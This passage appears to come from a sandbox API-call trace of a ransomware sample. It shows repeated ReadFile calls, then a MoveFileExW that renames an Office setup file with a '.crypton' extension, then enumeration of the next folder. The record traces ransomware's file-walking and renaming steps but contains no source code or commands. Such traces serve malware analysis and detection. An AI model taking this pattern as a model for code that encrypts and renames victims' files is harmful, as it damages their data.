dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x280, lpOverlapped=0x0) returned 1 [0069.162] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x278, lpOverlapped=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x270, lpOverlapped=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x268, lpOverlapped=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x260, lpOverlapped=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x258, lpOverlapped=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x250, lpOverlapped=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x248, lpOverlapped=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x240, lpOverlapped=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x238, lpOverlapped=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x230, lpOverlapped=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x228, lpOverlapped=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x220, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x218, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x210, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x208, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x200, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1f8, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1f0, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1e8, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1e0, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1d8, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1d0, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1c8, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1c0, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1b8, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1b0, lpOverlapped=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1a8, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1a0, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x198, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x190, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x188, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x180, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x178, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x170, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x168, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x160, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x158, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x150, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x148, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x140, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x138, lpOverlapped=0x0) returned 1 [0069.164] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x130, lpOverlapped=0x0) returned 1 [0069.165] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x128, lpOverlapped=0x0) returned 1 [0069.171] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x120, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x118, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x110, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x108, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x100, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xf8, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xf0, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xe8, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xe0, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xd8, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xd0, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc8, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc0, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb8, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb0, lpOverlapped=0x0) returned 1 [0069.172] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xa8, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xa0, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x98, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x90, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x88, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x80, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x78, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x70, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x68, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x60, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x58, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x50, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x48, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x40, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x38, lpOverlapped=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x30, lpOverlapped=0x0) returned 1 [0069.174] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x28, lpOverlapped=0x0) returned 1 [0069.174] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x20, lpOverlapped=0x0) returned 1 [0069.174] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x18, lpOverlapped=0x0) returned 1 [0069.174] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x10, lpOverlapped=0x0) returned 1 [0069.174] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8, lpOverlapped=0x0) returned 1 [0069.174] AreFileApisANSI () returned 1 [0069.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.174] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0069.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0069.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0069.174] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa4) returned 0x54a680 [0069.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=82 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton") returned 82 [0069.174] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0069.175] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.175] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.175] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.175] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.175] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.175] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.175] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.175] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.175] AreFileApisANSI () returned 1 [0069.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.175] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0069.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0069.175] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0069.175] GetLastError () returned 0x2 [0069.175] AreFileApisANSI () returned 1 [0069.175] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0069.175] GetLastError () returned 0x2 [0069.175] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0069.175] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0069.175] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0069.175] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524400 [0069.175] 